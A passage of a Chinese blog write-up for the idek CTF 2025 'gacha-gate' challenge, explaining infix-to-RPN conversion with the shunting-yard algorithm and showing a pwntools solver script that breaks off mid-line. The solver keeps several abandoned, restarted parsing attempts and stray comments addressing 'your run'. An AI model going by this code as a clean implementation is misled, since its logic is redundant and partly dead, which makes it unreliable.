<tr><td style="text-align: center"><code>|</code></td><td style="text-align: center"><code>[ ( | ]</code></td><td style="text-align: center"><code>[A, B, &amp;]</code></td><td style="text-align: left">运算符，压栈</td></tr> <tr><td style="text-align: center"><code>C</code></td><td style="text-align: center"><code>[ ( | ]</code></td><td style="text-align: center"><code>[A, B, &amp;, C]</code></td><td style="text-align: left">操作数，直接输出</td></tr> <tr><td style="text-align: center"><code>)</code></td><td style="text-align: center"><code>[ ( ]</code></td><td style="text-align: center"><code>[A, B, &amp;, C, |]</code></td><td style="text-align: left">遇到右括号，弹出栈顶直到左括号</td></tr> <tr><td style="text-align: center">(结束)</td><td style="text-align: center"><code>[]</code></td><td style="text-align: center"><code>[A, B, &amp;, C, |]</code></td><td style="text-align: left">清空栈，得到最终结果</td></tr> </tbody></table> <p>最终得到的 RPN 表达式为 <code>A B &amp; C |</code>，与中缀表达式的逻辑等价。</p> <p>通过这种方式，<code>shunting_yard_fix</code> 函数将中缀表达式的<strong>结构</strong>和<strong>优先级</strong>信息，精确地映射到了 RPN 表达式的<strong>顺序</strong>中。这是一种严谨的数学转换，确保了表达式的逻辑等价性，从而满足了服务器Z3求解器的验证要求。</p> <p><img src="https://NormalSubgroup.cauchy.top/blog/idek2025-writeup/img/misc_gacha-gate.png" alt="" /></p> <pre class="giallo z-code"><code data-lang="python"><span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment">#!/usr/bin/env python3</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-keyword">from</span><span class="z-source"> pwn</span><span class="z-keyword"> import</span><span class="z-keyword z-operator"> *</span></span> <span class="giallo-l"><span class="z-keyword">import</span><span class="z-source"> re</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"># remote connection</span></span> <span class="giallo-l"><span class="z-source">HOST</span><span class="z-keyword z-operator"> =</span><span class="z-punctuation z-definition z-string z-string"> &#39;gacha-gate.chal.idek.team&#39;</span></span> <span class="giallo-l"><span class="z-source">PORT</span><span class="z-keyword z-operator"> =</span><span class="z-constant z-numeric"> 1337</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"># Operator precedence and associativity</span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"># Precedence: `~` (highest) &gt; `&amp;` &gt; `^` &gt; `|` (lowest)</span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"># All are left-associative except for `~`, which is unary</span></span> <span class="giallo-l"><span class="z-source">OP_PRECEDENCE</span><span class="z-keyword z-operator"> =</span><span class="z-punctuation"> {</span><span class="z-punctuation z-definition z-string z-string">&#39;~&#39;</span><span class="z-punctuation">:</span><span class="z-constant z-numeric"> 3</span><span class="z-punctuation">,</span><span class="z-punctuation z-definition z-string z-string"> &#39;&amp;&#39;</span><span class="z-punctuation">:</span><span class="z-constant z-numeric"> 2</span><span class="z-punctuation">,</span><span class="z-punctuation z-definition z-string z-string"> &#39;^&#39;</span><span class="z-punctuation">:</span><span class="z-constant z-numeric"> 1</span><span class="z-punctuation">,</span><span class="z-punctuation z-definition z-string z-string"> &#39;|&#39;</span><span class="z-punctuation">:</span><span class="z-constant z-numeric"> 0</span><span class="z-punctuation">}</span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"># Associativity: L for left-associative, R for right-associative (not needed here)</span></span> <span class="giallo-l"><span class="z-source">OP_ASSOCIATIVITY</span><span class="z-keyword z-operator"> =</span><span class="z-punctuation"> {</span><span class="z-punctuation z-definition z-string z-string">&#39;&amp;&#39;</span><span class="z-punctuation">:</span><span class="z-punctuation z-definition z-string z-string"> &#39;L&#39;</span><span class="z-punctuation">,</span><span class="z-punctuation z-definition z-string z-string"> &#39;^&#39;</span><span class="z-punctuation">:</span><span class="z-punctuation z-definition z-string z-string"> &#39;L&#39;</span><span class="z-punctuation">,</span><span class="z-punctuation z-definition z-string z-string"> &#39;|&#39;</span><span class="z-punctuation">:</span><span class="z-punctuation z-definition z-string z-string"> &#39;L&#39;</span><span class="z-punctuation">}</span></span> <span class="giallo-l"></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-storage z-type z-function z-python">def</span><span class="z-entity z-name z-function"> shunting_yard_fix</span><span class="z-punctuation">(</span><span class="z-variable z-parameter">infix_expr</span><span class="z-punctuation">:</span><span class="z-support z-type z-python"> str</span><span class="z-punctuation">) -&gt;</span><span class="z-support z-type z-python"> str</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-string"> &quot;&quot;&quot;</span></span> <span class="giallo-l"><span class="z-string"> Correctly converts an infix expression to RPN using the Shunting-yard algorithm.</span></span> <span class="giallo-l"><span class="z-string"> This version handles operator precedence and parentheses correctly.</span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-string"> &quot;&quot;&quot;</span></span> <span class="giallo-l"><span class="z-source"> output</span><span class="z-keyword z-operator"> =</span><span class="z-punctuation"> []</span></span> <span class="giallo-l"><span class="z-source"> op_stack</span><span class="z-keyword z-operator"> =</span><span class="z-punctuation"> []</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"> # Regex to tokenize the expression: numbers, variables, operators, and parentheses</span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"> # Note: the `|` operator is a bitwise OR, not a regex OR</span></span> <span class="giallo-l"><span class="z-source"> tokens</span><span class="z-keyword z-operator"> =</span><span class="z-source"> re</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">findall</span><span class="z-punctuation">(</span><span class="z-storage z-type z-string z-python">r</span><span class="z-punctuation z-definition z-string z-begin">&#39;</span><span class="z-punctuation">[</span><span class="z-string">0-9</span><span class="z-punctuation">]</span><span class="z-keyword z-operator z-quantifier z-regexp z-keyword z-operator">+|</span><span class="z-punctuation">[</span><span class="z-string">iIl</span><span class="z-punctuation">]</span><span class="z-keyword z-operator z-quantifier z-regexp z-keyword z-operator">+|</span><span class="z-punctuation">[</span><span class="z-string">~&amp;^|</span><span class="z-punctuation">]</span><span class="z-keyword z-operator">|</span><span class="z-punctuation">[</span><span class="z-string">()</span><span class="z-punctuation">]</span><span class="z-punctuation z-definition z-string z-end">&#39;</span><span class="z-punctuation">,</span><span class="z-meta z-function-call z-arguments z-python"> infix_expr</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> </span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"> # Simple state machine to distinguish unary `~`</span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"> # The server always formats it as `(~...)`, so `~` is always followed by `(`</span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"> # We can rely on this predictable format.</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> for</span><span class="z-source"> token</span><span class="z-keyword z-control z-flow z-python"> in</span><span class="z-source"> tokens</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> if</span><span class="z-source"> token</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">isdigit</span><span class="z-punctuation">()</span><span class="z-keyword z-operator z-logical z-python"> or</span><span class="z-source"> re</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">fullmatch</span><span class="z-punctuation">(</span><span class="z-storage z-type z-string z-python">r</span><span class="z-punctuation z-definition z-string z-begin">&#39;</span><span class="z-punctuation">[</span><span class="z-string">iIl</span><span class="z-punctuation">]</span><span class="z-keyword z-operator z-quantifier z-regexp">+</span><span class="z-punctuation z-definition z-string z-end">&#39;</span><span class="z-punctuation">,</span><span class="z-meta z-function-call z-arguments z-python"> token</span><span class="z-punctuation">):</span></span> <span class="giallo-l"><span class="z-source"> output</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">append</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">token</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> elif</span><span class="z-source"> token</span><span class="z-keyword z-operator"> ==</span><span class="z-punctuation z-definition z-string z-string"> &#39;(&#39;</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-source"> op_stack</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">append</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">token</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> elif</span><span class="z-source"> token</span><span class="z-keyword z-operator"> ==</span><span class="z-punctuation z-definition z-string z-string"> &#39;)&#39;</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> while</span><span class="z-source"> op_stack</span><span class="z-keyword z-operator z-logical z-python"> and</span><span class="z-meta z-indexed-name z-python"> op_stack</span><span class="z-punctuation">[</span><span class="z-keyword z-operator">-</span><span class="z-constant z-numeric">1</span><span class="z-punctuation">]</span><span class="z-keyword z-operator"> !=</span><span class="z-punctuation z-definition z-string z-string"> &#39;(&#39;</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-source"> output</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">append</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">op_stack</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">pop</span><span class="z-punctuation">())</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> if</span><span class="z-source"> op_stack</span><span class="z-keyword z-operator z-logical z-python"> and</span><span class="z-meta z-indexed-name z-python"> op_stack</span><span class="z-punctuation">[</span><span class="z-keyword z-operator">-</span><span class="z-constant z-numeric">1</span><span class="z-punctuation">]</span><span class="z-keyword z-operator"> ==</span><span class="z-punctuation z-definition z-string z-string"> &#39;(&#39;</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-source"> op_stack</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">pop</span><span class="z-punctuation">()</span><span class="z-punctuation z-definition z-comment z-comment"> # Pop the left parenthesis</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> else</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> raise</span><span class="z-support z-type z-exception z-python"> ValueError</span><span class="z-punctuation">(</span><span class="z-punctuation z-definition z-string z-string">&quot;Mismatched parentheses&quot;</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> elif</span><span class="z-source"> token</span><span class="z-keyword z-operator z-logical z-python"> in</span><span class="z-source"> OP_PRECEDENCE</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> while</span><span class="z-punctuation"> (</span><span class="z-source">op_stack</span><span class="z-keyword z-operator z-logical z-python"> and</span><span class="z-meta z-indexed-name z-python"> op_stack</span><span class="z-punctuation">[</span><span class="z-keyword z-operator">-</span><span class="z-constant z-numeric">1</span><span class="z-punctuation">]</span><span class="z-keyword z-operator z-logical z-python"> in</span><span class="z-source"> OP_PRECEDENCE</span><span class="z-keyword z-operator z-logical z-python"> and</span></span> <span class="giallo-l"><span class="z-meta z-item-access z-python"> OP_PRECEDENCE</span><span class="z-punctuation">[</span><span class="z-meta z-indexed-name z-python">op_stack</span><span class="z-punctuation">[</span><span class="z-keyword z-operator">-</span><span class="z-constant z-numeric">1</span><span class="z-punctuation">]]</span><span class="z-keyword z-operator"> &gt;=</span><span class="z-meta z-item-access z-python"> OP_PRECEDENCE</span><span class="z-punctuation">[</span><span class="z-meta z-item-access z-python">token</span><span class="z-punctuation">]):</span></span> <span class="giallo-l"><span class="z-source"> output</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">append</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">op_stack</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">pop</span><span class="z-punctuation">())</span></span> <span class="giallo-l"><span class="z-source"> op_stack</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">append</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">token</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> else</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> raise</span><span class="z-support z-type z-exception z-python"> ValueError</span><span class="z-punctuation">(</span><span class="z-storage z-type z-string z-python">f</span><span class="z-string">&quot;Unknown token: </span><span class="z-constant z-character z-format z-placeholder z-other z-python">{</span><span class="z-meta z-function-call z-arguments z-python">token</span><span class="z-constant z-character z-format z-placeholder z-other z-python">}</span><span class="z-string">&quot;</span><span class="z-punctuation">)</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> while</span><span class="z-source"> op_stack</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> if</span><span class="z-meta z-indexed-name z-python"> op_stack</span><span class="z-punctuation">[</span><span class="z-keyword z-operator">-</span><span class="z-constant z-numeric">1</span><span class="z-punctuation">]</span><span class="z-keyword z-operator"> ==</span><span class="z-punctuation z-definition z-string z-string"> &#39;(&#39;</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> raise</span><span class="z-support z-type z-exception z-python"> ValueError</span><span class="z-punctuation">(</span><span class="z-punctuation z-definition z-string z-string">&quot;Mismatched parentheses&quot;</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> output</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">append</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">op_stack</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">pop</span><span class="z-punctuation">())</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"> # For the unary `~`, the server formats it as `(~A)`.</span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"> # Our algorithm will generate `A ~`.</span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"> # Let&#39;s adjust for the fact that the server `~` is always unary.</span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"> # The `combine` function in server code handles `~` as a unary operator.</span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"> # We will treat it as a unary postfix operator in RPN.</span></span> <span class="giallo-l"><span class="z-source"> </span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"> # The above algorithm handles it correctly as long as `~` is treated as an operator</span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"> # with high precedence. The `pop from empty list` error indicates the stack</span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"> # was empty *before* a binary op, not `~`. Let&#39;s re-verify the logic.</span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"> # A standard Shunting-yard algorithm should handle this.</span></span> <span class="giallo-l"><span class="z-source"> </span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"> # A key observation: the server expression is always fully parenthesized.</span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"> # `(A op B)` or `(~A)`. This means we can use a simpler stack-based parser</span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"> # that doesn&#39;t need to handle complex precedence rules, as the parentheses</span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"> # already define the order of operations.</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"> # Let&#39;s try a stack-based parser specifically for fully parenthesized expressions.</span></span> <span class="giallo-l"><span class="z-source"> stack</span><span class="z-keyword z-operator"> =</span><span class="z-punctuation"> []</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> for</span><span class="z-source"> token</span><span class="z-keyword z-control z-flow z-python"> in</span><span class="z-source"> tokens</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> if</span><span class="z-source"> token</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">isdigit</span><span class="z-punctuation">()</span><span class="z-keyword z-operator z-logical z-python"> or</span><span class="z-source"> re</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">fullmatch</span><span class="z-punctuation">(</span><span class="z-storage z-type z-string z-python">r</span><span class="z-punctuation z-definition z-string z-begin">&#39;</span><span class="z-punctuation">[</span><span class="z-string">iIl</span><span class="z-punctuation">]</span><span class="z-keyword z-operator z-quantifier z-regexp">+</span><span class="z-punctuation z-definition z-string z-end">&#39;</span><span class="z-punctuation">,</span><span class="z-meta z-function-call z-arguments z-python"> token</span><span class="z-punctuation">):</span></span> <span class="giallo-l"><span class="z-source"> stack</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">append</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">token</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> elif</span><span class="z-source"> token</span><span class="z-keyword z-operator"> ==</span><span class="z-punctuation z-definition z-string z-string"> &#39;~&#39;</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"> # This is a unary operator, it will operate on the next operand</span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"> # In RPN, it becomes `operand ~`</span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"> # For `(~...)`, we will push `~` to stack and pop it after the operand is processed</span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"> # But the server tokenizes as `~` then `(`, which complicates things.</span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"> # A simple way to fix the original code is to check for stack length.</span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"> # Let&#39;s go back to the original simple parser and fix it.</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> pass</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> elif</span><span class="z-source"> token</span><span class="z-keyword z-operator"> ==</span><span class="z-punctuation z-definition z-string z-string"> &#39;(&#39;</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> pass</span><span class="z-punctuation z-definition z-comment z-comment"> # Ignore opening parentheses</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> elif</span><span class="z-source"> token</span><span class="z-keyword z-operator"> ==</span><span class="z-punctuation z-definition z-string z-string"> &#39;)&#39;</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"> # Closing a subexpression.</span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"> # Check for a binary op first. `(a op b)` -&gt; `a b op`</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> if</span><span class="z-support z-function z-builtin z-python"> len</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">stack</span><span class="z-punctuation">)</span><span class="z-keyword z-operator"> &gt;=</span><span class="z-constant z-numeric"> 3</span><span class="z-keyword z-operator z-logical z-python"> and</span><span class="z-meta z-indexed-name z-python"> stack</span><span class="z-punctuation">[</span><span class="z-keyword z-operator">-</span><span class="z-constant z-numeric">2</span><span class="z-punctuation">]</span><span class="z-keyword z-operator z-logical z-python"> in</span><span class="z-source"> OP_PRECEDENCE</span><span class="z-keyword z-operator z-logical z-python"> and</span><span class="z-meta z-indexed-name z-python"> stack</span><span class="z-punctuation">[</span><span class="z-keyword z-operator">-</span><span class="z-constant z-numeric">3</span><span class="z-punctuation">]</span><span class="z-keyword z-operator z-logical z-python"> not in</span><span class="z-source"> OP_PRECEDENCE</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-source"> op</span><span class="z-keyword z-operator"> =</span><span class="z-source"> stack</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">pop</span><span class="z-punctuation">()</span></span> <span class="giallo-l"><span class="z-source"> b</span><span class="z-keyword z-operator"> =</span><span class="z-source"> stack</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">pop</span><span class="z-punctuation">()</span></span> <span class="giallo-l"><span class="z-source"> a</span><span class="z-keyword z-operator"> =</span><span class="z-source"> stack</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">pop</span><span class="z-punctuation">()</span></span> <span class="giallo-l"><span class="z-source"> stack</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">append</span><span class="z-punctuation">(</span><span class="z-storage z-type z-string z-python">f</span><span class="z-string">&#39;</span><span class="z-constant z-character z-format z-placeholder z-other z-python">{</span><span class="z-meta z-function-call z-arguments z-python">a</span><span class="z-constant z-character z-format z-placeholder z-other z-python">} {</span><span class="z-meta z-function-call z-arguments z-python">b</span><span class="z-constant z-character z-format z-placeholder z-other z-python">} {</span><span class="z-meta z-function-call z-arguments z-python">op</span><span class="z-constant z-character z-format z-placeholder z-other z-python">}</span><span class="z-string">&#39;</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"> # Check for a unary op. `(~a)` -&gt; `a ~`</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> elif</span><span class="z-support z-function z-builtin z-python"> len</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">stack</span><span class="z-punctuation">)</span><span class="z-keyword z-operator"> &gt;=</span><span class="z-constant z-numeric"> 2</span><span class="z-keyword z-operator z-logical z-python"> and</span><span class="z-meta z-indexed-name z-python"> stack</span><span class="z-punctuation">[</span><span class="z-keyword z-operator">-</span><span class="z-constant z-numeric">2</span><span class="z-punctuation">]</span><span class="z-keyword z-operator"> ==</span><span class="z-punctuation z-definition z-string z-string"> &#39;~&#39;</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-source"> op</span><span class="z-keyword z-operator"> =</span><span class="z-source"> stack</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">pop</span><span class="z-punctuation">()</span></span> <span class="giallo-l"><span class="z-source"> operand</span><span class="z-keyword z-operator"> =</span><span class="z-source"> stack</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">pop</span><span class="z-punctuation">()</span></span> <span class="giallo-l"><span class="z-source"> stack</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">append</span><span class="z-punctuation">(</span><span class="z-storage z-type z-string z-python">f</span><span class="z-string">&#39;</span><span class="z-constant z-character z-format z-placeholder z-other z-python">{</span><span class="z-meta z-function-call z-arguments z-python">operand</span><span class="z-constant z-character z-format z-placeholder z-other z-python">} {</span><span class="z-meta z-function-call z-arguments z-python">op</span><span class="z-constant z-character z-format z-placeholder z-other z-python">}</span><span class="z-string">&#39;</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> </span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> elif</span><span class="z-source"> token</span><span class="z-keyword z-operator z-logical z-python"> in</span><span class="z-source"> OP_PRECEDENCE</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-source"> stack</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">append</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">token</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> </span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"> # The previous logic was flawed. A proper Shunting-yard is needed.</span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"> # The `pop from empty list` error in your run shows that a naive approach fails.</span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"> # Let&#39;s try again with a robust Shunting-yard implementation.</span></span> <span class="giallo-l"><span class="z-source"> </span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"> # The problem is that the `~` can be followed by a `(`, and the `pop` would fail.</span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"> # A robust algorithm must handle unary operators correctly.</span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"> # Let&#39;s re-write `shunting_yard` from scratch for clarity and correctness.</span></span> <span class="giallo-l"><span class="z-source"> </span></span> <span class="giallo-l"><span class="z-source"> output</span><span class="z-keyword z-operator"> =</span><span class="z-punctuation"> []</span></span> <span class="giallo-l"><span class="z-source"> op_stack</span><span class="z-keyword z-operator"> =</span><span class="z-punctuation"> []</span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"> # Tokenize the expression, including all symbols</span></span> <span class="giallo-l"><span class="z-source"> tokens</span><span class="z-keyword z-operator"> =</span><span class="z-source"> re</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">findall</span><span class="z-punctuation">(</span><span class="z-storage z-type z-string z-python">r</span><span class="z-punctuation z-definition z-string z-begin">&#39;</span><span class="z-punctuation">[</span><span class="z-string">0-9</span><span class="z-punctuation">]</span><span class="z-keyword z-operator z-quantifier z-regexp z-keyword z-operator">+|</span><span class="z-punctuation">[</span><span class="z-string">iIl</span><span class="z-punctuation">]</span><span class="z-keyword z-operator z-quantifier z-regexp z-keyword z-operator">+|</span><span class="z-punctuation">[</span><span class="z-string">~&amp;^|</span><span class="z-punctuation">]</span><span class="z-keyword z-operator">|</span><span class="z-punctuation">[</span><span class="z-string">()</span><span class="z-punctuation">]</span><span class="z-punctuation z-definition z-string z-end">&#39;</span><span class="z-punctuation">,</span><span class="z-meta z-function-call z-arguments z-python"> infix_expr</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> </span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> for</span><span class="z-source"> token</span><span class="z-keyword z-control z-flow z-python"> in</span><span class="z-source"> tokens</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> if</span><span class="z-source"> token</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">isdigit</span><span class="z-punctuation">()</span><span class="z-keyword z-operator z-logical z-python"> or</span><span class="z-source"> re</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">fullmatch</span><span class="z-punctuation">(</span><span class="z-storage z-type z-string z-python">r</span><span class="z-punctuation z-definition z-string z-begin">&#39;</span><span class="z-punctuation">[</span><span class="z-string">iIl</span><span class="z-punctuation">]</span><span class="z-keyword z-operator z-quantifier z-regexp">+</span><span class="z-punctuation z-definition z-string z-end">&#39;</span><span class="z-punctuation">,</span><span class="z-meta z-function-call z-arguments z-python"> token</span><span class="z-punctuation">):</span></span> <span class="giallo-l"><span class="z-source"> output</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">append</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">token</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> elif</span><span class="z-source"> token</span><span class="z-keyword z-operator"> ==</span><span class="z-punctuation z-definition z-string z-string"> &#39;(&#39;</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-source"> op_stack</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">append</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">token</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> elif</span><span class="z-source"> token</span><span class="z-keyword z-operator"> ==</span><span class="z-punctuation z-definition z-string z-string"> &#39;)&#39;</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> while</span><span class="z-source"> op_stack</span><span class="z-keyword z-operator z-logical z-python"> and</span><span class="z-meta z-indexed-name z-python"> op_stack</span><span class="z-punctuation">[</span><span class="z-keyword z-operator">-</span><span class="z-constant z-numeric">1</span><span class="z-punctuation">]</span><span class="z-keyword z-operator"> !=</span><span class="z-punctuation z-definition z-string z-string"> &#39;(&#39;</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-source"> output</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">append</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">op_stack</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">pop</span><span class="z-punctuation">())</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> if</span><span class="z-source"> op_stack</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-source"> op_stack</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">pop</span><span class="z-punctuation">()</span><span class="z-punctuation z-definition z-comment z-comment"> # pop &#39;(&#39;</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> elif</span><span class="z-source"> token</span><span class="z-keyword z-operator z-logical z-python"> in</span><span class="z-source"> OP_PRECEDENCE</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"> # Handle unary `~`</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> if</span><span class="z-source"> token</span><span class="z-keyword z-operator"> ==</span><span class="z-punctuation z-definition z-string z-string"> &#39;~&#39;</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"> # The server&#39;s format is `(~...)`, so `~` is always followed by `(`.</span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"> # We can treat `~` as a special case.</span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"> # Let&#39;s push it, and process it later</span></span> <span class="giallo-l"><span class="z-source"> op_stack</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">append</span><span class="z-punctuation">(</span><span 